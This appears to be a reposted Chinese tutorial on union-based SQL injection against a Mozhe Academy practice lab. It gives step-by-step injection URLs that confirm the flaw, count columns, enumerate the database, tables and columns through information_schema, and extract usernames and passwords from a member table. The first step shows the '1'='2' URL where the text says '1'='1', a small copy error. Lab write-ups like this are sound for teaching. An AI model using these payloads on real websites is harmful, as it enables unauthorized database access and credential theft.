欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 八卦 > Web安全-SQL注入之联合查询注入

Web安全-SQL注入之联合查询注入

2025/4/19 20:00:35 来源:https://blog.csdn.net/m0_60984906/article/details/142533389  浏览:    关键词:Web安全-SQL注入之联合查询注入

声明

环境

墨者学院-SQL手工注入漏洞测试(MySQL数据库-字符型)

判断是否存在漏洞

http://124.70.64.48:42937/new_list.php?id=tingjigonggao' and '1'='2'--+

and '1'='1'正常

http://124.70.64.48:42937/new_list.php?id=tingjigonggao' and '1'='2'--+

and '1'='2'出错,存在字符型注入漏洞

判断字段数

http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,3,4 --+

字段数判断为4

爆数据库

http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,database(),4 --+

爆出数据库mozhe_discuz_stormgroup

http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'stormgroup_member'--+

爆表

http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = 'mozhe_discuz_stormgroup'--+

爆出数据表noticestormgroup_member,分析stormgroup_member表包含账号密码

爆字段

http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'stormgroup_member'--+

爆出表stormgroup_member的所有字段idnamepasswordstatus

爆数据

http://124.70.64.48:42937/new_list.php?id=1' union select 1,2,group_concat(id,',',name,',',password),4 from stormgroup_member where id=1--+

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词